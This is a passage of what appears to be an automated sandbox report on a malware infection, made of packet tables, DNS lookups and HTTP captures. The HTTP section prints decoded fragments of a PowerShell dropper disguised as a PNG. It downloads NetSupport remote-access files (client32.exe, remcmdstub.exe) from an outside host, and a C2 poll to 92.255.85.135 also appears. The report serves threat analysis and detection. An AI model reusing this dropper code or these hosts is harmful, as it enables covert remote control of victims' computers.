Oct 28, 2024 19:46:26.502516985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502552032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502587080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502621889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502630949 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.502630949 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.502652884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.502657890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502692938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502705097 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.502728939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502763033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502779961 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.502803087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502840996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502855062 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.502875090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502909899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502922058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.502943993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.502990007 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.503204107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.503259897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.503297091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.503308058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.503379107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.503413916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.503426075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.503449917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.503490925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.503504038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.503525972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.503560066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.503572941 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.503593922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.503642082 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.504009962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504044056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504077911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504090071 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.504132986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504167080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504179001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.504201889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504236937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504249096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.504297018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504331112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504345894 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.504365921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504400969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504410028 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.504436970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504482031 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.504909992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504925966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504942894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.504966974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.505024910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.505042076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.505057096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.505065918 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.505074978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.505096912 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.505247116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.505264044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.505281925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.505290031 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.505300045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.505319118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.505322933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.505358934 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.547481060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.547514915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.547549963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.547574043 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.547610998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.547663927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.553105116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.553153992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.553186893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.553206921 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.553220987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.553247929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.553262949 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.558501959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.558537006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.558568001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.558569908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.558604956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.558619022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.558638096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.558684111 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.563834906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.563868999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.563903093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.563920021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.563936949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.563970089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.563987970 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.569252968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.569305897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.569320917 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.569340944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.569379091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.569390059 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.574726105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.574759960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.574788094 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.574795008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.574827909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.574860096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.574862003 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.574906111 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.580302954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.580353975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.580388069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.580411911 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.580423117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.580471992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.585699081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.585750103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.585783005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.585803986 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.585818052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.585865021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.591043949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.591097116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.591130018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.591154099 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.591165066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.591200113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.591219902 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.596385956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.596442938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.596465111 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.596476078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.596509933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.596523046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.596543074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.596589088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.601943016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.601994991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.602029085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.602047920 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.602078915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.602112055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.602125883 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.607208014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.607242107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:26.607264996 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:26.647520065 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:29.161295891 CET	443	49727	172.217.16.196	192.168.2.16
Oct 28, 2024 19:46:29.161391973 CET	443	49727	172.217.16.196	192.168.2.16
Oct 28, 2024 19:46:29.161448956 CET	49727	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:46:29.634030104 CET	49727	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:46:29.634073019 CET	443	49727	172.217.16.196	192.168.2.16
Oct 28, 2024 19:46:32.796499968 CET	443	49717	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:32.796587944 CET	443	49717	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:32.796636105 CET	49717	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:33.622917891 CET	49717	443	192.168.2.16	166.1.160.75
Oct 28, 2024 19:46:33.622955084 CET	443	49717	166.1.160.75	192.168.2.16
Oct 28, 2024 19:46:34.948474884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:35.117233992 CET	49729	443	192.168.2.16	92.255.85.135
Oct 28, 2024 19:46:35.117285013 CET	443	49729	92.255.85.135	192.168.2.16
Oct 28, 2024 19:46:35.117351055 CET	49729	443	192.168.2.16	92.255.85.135
Oct 28, 2024 19:46:35.210639000 CET	49729	443	192.168.2.16	92.255.85.135
Oct 28, 2024 19:46:35.210659981 CET	443	49729	92.255.85.135	192.168.2.16
Oct 28, 2024 19:46:35.210724115 CET	443	49729	92.255.85.135	192.168.2.16
Oct 28, 2024 19:46:35.308736086 CET	49730	80	192.168.2.16	172.67.68.212
Oct 28, 2024 19:46:35.314461946 CET	80	49730	172.67.68.212	192.168.2.16
Oct 28, 2024 19:46:35.314539909 CET	49730	80	192.168.2.16	172.67.68.212
Oct 28, 2024 19:46:35.340961933 CET	49730	80	192.168.2.16	172.67.68.212
Oct 28, 2024 19:46:35.347374916 CET	80	49730	172.67.68.212	192.168.2.16
Oct 28, 2024 19:46:36.329104900 CET	80	49730	172.67.68.212	192.168.2.16
Oct 28, 2024 19:46:36.329174042 CET	49730	80	192.168.2.16	172.67.68.212
Oct 28, 2024 19:47:18.351701021 CET	49732	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:47:18.351749897 CET	443	49732	172.217.16.196	192.168.2.16
Oct 28, 2024 19:47:18.351831913 CET	49732	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:47:18.352081060 CET	49732	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:47:18.352098942 CET	443	49732	172.217.16.196	192.168.2.16
Oct 28, 2024 19:47:19.214000940 CET	443	49732	172.217.16.196	192.168.2.16
Oct 28, 2024 19:47:19.214349031 CET	49732	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:47:19.214389086 CET	443	49732	172.217.16.196	192.168.2.16
Oct 28, 2024 19:47:19.215420008 CET	443	49732	172.217.16.196	192.168.2.16
Oct 28, 2024 19:47:19.215713978 CET	49732	443	192.168.2.16	172.217.16.196
Oct 28, 2024 19:47:19.215806961 CET	443	49732	172.217.16.196	192.168.2.16
Oct 28, 2024 19:47:19.261312962 CET	49732	443	192.168.2.16	172.217.16.196

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 19:45:13.640151978 CET	53	59801	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:13.641063929 CET	53	50228	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:14.330554962 CET	60637	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:14.331037045 CET	63605	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:14.359889984 CET	53	60637	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:14.360703945 CET	53	63605	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:14.869854927 CET	53	51501	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:18.216871977 CET	52567	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:18.217082977 CET	62735	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:18.227157116 CET	53	52567	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:18.227945089 CET	53	62735	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:31.884205103 CET	53	58672	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:33.274823904 CET	63860	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:33.274964094 CET	54195	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:33.277111053 CET	62632	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:33.277256966 CET	56336	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:33.284761906 CET	53	62632	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:33.284775972 CET	53	56336	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:34.386877060 CET	59806	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:34.387016058 CET	62037	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:45:34.394284010 CET	53	59806	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:34.395450115 CET	53	62037	1.1.1.1	192.168.2.16
Oct 28, 2024 19:45:50.816278934 CET	53	63753	1.1.1.1	192.168.2.16
Oct 28, 2024 19:46:11.362775087 CET	65381	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:46:11.381597042 CET	53	65381	1.1.1.1	192.168.2.16
Oct 28, 2024 19:46:13.167752981 CET	53	62143	1.1.1.1	192.168.2.16
Oct 28, 2024 19:46:13.355664015 CET	53	51979	1.1.1.1	192.168.2.16
Oct 28, 2024 19:46:15.737689972 CET	61142	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:46:15.748879910 CET	53	61142	1.1.1.1	192.168.2.16
Oct 28, 2024 19:46:20.056663990 CET	138	138	192.168.2.16	192.168.2.255
Oct 28, 2024 19:46:35.252579927 CET	62628	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:46:35.263154030 CET	53	62628	1.1.1.1	192.168.2.16
Oct 28, 2024 19:46:42.227401972 CET	53	59269	1.1.1.1	192.168.2.16
Oct 28, 2024 19:46:57.066961050 CET	59448	53	192.168.2.16	1.1.1.1
Oct 28, 2024 19:46:57.084337950 CET	53	59448	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 19:45:14.330554962 CET	192.168.2.16	1.1.1.1	0xfc83	Standard query (0)	inspyrehomedesign.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:14.331037045 CET	192.168.2.16	1.1.1.1	0xb476	Standard query (0)	inspyrehomedesign.com	65	IN (0x0001)	false
Oct 28, 2024 19:45:18.216871977 CET	192.168.2.16	1.1.1.1	0x119	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:18.217082977 CET	192.168.2.16	1.1.1.1	0x7b98	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 28, 2024 19:45:33.274823904 CET	192.168.2.16	1.1.1.1	0xa925	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:33.274964094 CET	192.168.2.16	1.1.1.1	0xda7a	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Oct 28, 2024 19:45:33.277111053 CET	192.168.2.16	1.1.1.1	0x455b	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:33.277256966 CET	192.168.2.16	1.1.1.1	0xbc8d	Standard query (0)	i.ibb.co	65	IN (0x0001)	false
Oct 28, 2024 19:45:34.386877060 CET	192.168.2.16	1.1.1.1	0xaf87	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:34.387016058 CET	192.168.2.16	1.1.1.1	0x8435	Standard query (0)	i.ibb.co	65	IN (0x0001)	false
Oct 28, 2024 19:46:11.362775087 CET	192.168.2.16	1.1.1.1	0x6010	Standard query (0)	inspyrehomedesign.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:46:15.737689972 CET	192.168.2.16	1.1.1.1	0xab2a	Standard query (0)	traversecityspringbreak.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:46:35.252579927 CET	192.168.2.16	1.1.1.1	0x2	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:46:57.066961050 CET	192.168.2.16	1.1.1.1	0x8459	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 19:45:14.359889984 CET	1.1.1.1	192.168.2.16	0xfc83	No error (0)	inspyrehomedesign.com		166.1.160.75	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:18.227157116 CET	1.1.1.1	192.168.2.16	0x119	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:18.227945089 CET	1.1.1.1	192.168.2.16	0x7b98	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 28, 2024 19:45:33.282656908 CET	1.1.1.1	192.168.2.16	0xa925	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 19:45:33.282865047 CET	1.1.1.1	192.168.2.16	0xda7a	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 19:45:33.284761906 CET	1.1.1.1	192.168.2.16	0x455b	No error (0)	i.ibb.co		162.19.58.157	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:33.284761906 CET	1.1.1.1	192.168.2.16	0x455b	No error (0)	i.ibb.co		162.19.58.159	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:33.284761906 CET	1.1.1.1	192.168.2.16	0x455b	No error (0)	i.ibb.co		162.19.58.158	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:33.284761906 CET	1.1.1.1	192.168.2.16	0x455b	No error (0)	i.ibb.co		162.19.58.161	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:33.284761906 CET	1.1.1.1	192.168.2.16	0x455b	No error (0)	i.ibb.co		162.19.58.160	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:33.284761906 CET	1.1.1.1	192.168.2.16	0x455b	No error (0)	i.ibb.co		162.19.58.156	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:45:34.394284010 CET	1.1.1.1	192.168.2.16	0xaf87	No error (0)	i.ibb.co		169.197.85.95	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:46:11.381597042 CET	1.1.1.1	192.168.2.16	0x6010	No error (0)	inspyrehomedesign.com		166.1.160.75	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:46:15.748879910 CET	1.1.1.1	192.168.2.16	0xab2a	No error (0)	traversecityspringbreak.com		166.1.160.211	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:46:35.263154030 CET	1.1.1.1	192.168.2.16	0x2	No error (0)	geo.netsupportsoftware.com		172.67.68.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:46:35.263154030 CET	1.1.1.1	192.168.2.16	0x2	No error (0)	geo.netsupportsoftware.com		104.26.1.231	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:46:35.263154030 CET	1.1.1.1	192.168.2.16	0x2	No error (0)	geo.netsupportsoftware.com		104.26.0.231	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:46:57.084337950 CET	1.1.1.1	192.168.2.16	0x8459	No error (0)	geo.netsupportsoftware.com		172.67.68.212	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:46:57.084337950 CET	1.1.1.1	192.168.2.16	0x8459	No error (0)	geo.netsupportsoftware.com		104.26.1.231	A (IP address)	IN (0x0001)	false
Oct 28, 2024 19:46:57.084337950 CET	1.1.1.1	192.168.2.16	0x8459	No error (0)	geo.netsupportsoftware.com		104.26.0.231	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

inspyrehomedesign.com

https:

i.ibb.co

fs.microsoft.com

slscr.update.microsoft.com

www.google.com

traversecityspringbreak.com

92.255.85.135connection: keep-alivecmd=pollinfo=1ack=1

geo.netsupportsoftware.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49726	166.1.160.211	80	7944	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 19:46:15.759381056 CET	84	OUT	GET /o/o.png HTTP/1.1 Host: traversecityspringbreak.com Connection: Keep-Alive
Oct 28, 2024 19:46:16.434668064 CET	239	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Mon, 28 Oct 2024 18:46:16 GMT Content-Type: image/png Content-Length: 2040 Last-Modified: Mon, 21 Oct 2024 07:37:16 GMT Connection: keep-alive ETag: "671604ac-7f8" Accept-Ranges: bytes
Oct 28, 2024 19:46:16.435194016 CET	1236	IN	Data Raw: 69 70 63 6f 6e 66 69 67 20 2f 66 6c 75 73 68 64 6e 73 0d 0a 0d 0a 24 72 61 6e 64 6f 6d 46 6f 6c 64 65 72 4e 61 6d 65 20 3d 20 2d 6a 6f 69 6e 20 28 28 36 35 2e 2e 39 30 29 20 2b 20 28 39 37 2e 2e 31 32 32 29 20 7c 20 47 65 74 2d 52 61 6e 64 6f 6d Data Ascii: ipconfig /flushdns$randomFolderName = -join ((65..90) + (97..122) \| Get-Random -Count 6 \| % {[char]$_})$randomFolderPath = Join-Path -Path $env:APPDATA -ChildPath $randomFolderNameNew-Item -ItemType Directory -Path $randomFolderPath
Oct 28, 2024 19:46:16.435560942 CET	212	IN	Data Raw: 63 69 63 61 70 69 2e 64 6c 6c 22 0d 0a 24 66 69 6c 65 38 20 3d 20 24 50 61 63 68 20 2b 20 22 5c 50 43 49 43 48 45 4b 2e 44 4c 4c 22 0d 0a 24 66 69 6c 65 39 20 3d 20 24 50 61 63 68 20 2b 20 22 5c 50 43 49 43 4c 33 32 2e 44 4c 4c 22 0d 0a 24 66 69 Data Ascii: cicapi.dll"$file8 = $Pach + "\PCICHEK.DLL"$file9 = $Pach + "\PCICL32.DLL"$file10 = $Pach + "\remcmdstub.exe"$file11 = $Pach + "\TCCTL32.DLL"$file12 = $Pach + "\client32.exe"Invoke-WebRequest $url
Oct 28, 2024 19:46:16.435992002 CET	592	IN	Data Raw: 2d 4f 75 74 46 69 6c 65 20 24 66 69 6c 65 0d 0a 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 24 75 72 6c 32 20 2d 4f 75 74 46 69 6c 65 20 24 66 69 6c 65 32 0d 0a 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 24 75 72 6c 33 20 2d Data Ascii: -OutFile $fileInvoke-WebRequest $url2 -OutFile $file2Invoke-WebRequest $url3 -OutFile $file3Invoke-WebRequest $url4 -OutFile $file4Invoke-WebRequest $url5 -OutFile $file5Invoke-WebRequest $url6 -OutFile $file6Invoke-WebRequest $url
Oct 28, 2024 19:46:16.830071926 CET	155	OUT	GET /o/1.png HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: traversecityspringbreak.com
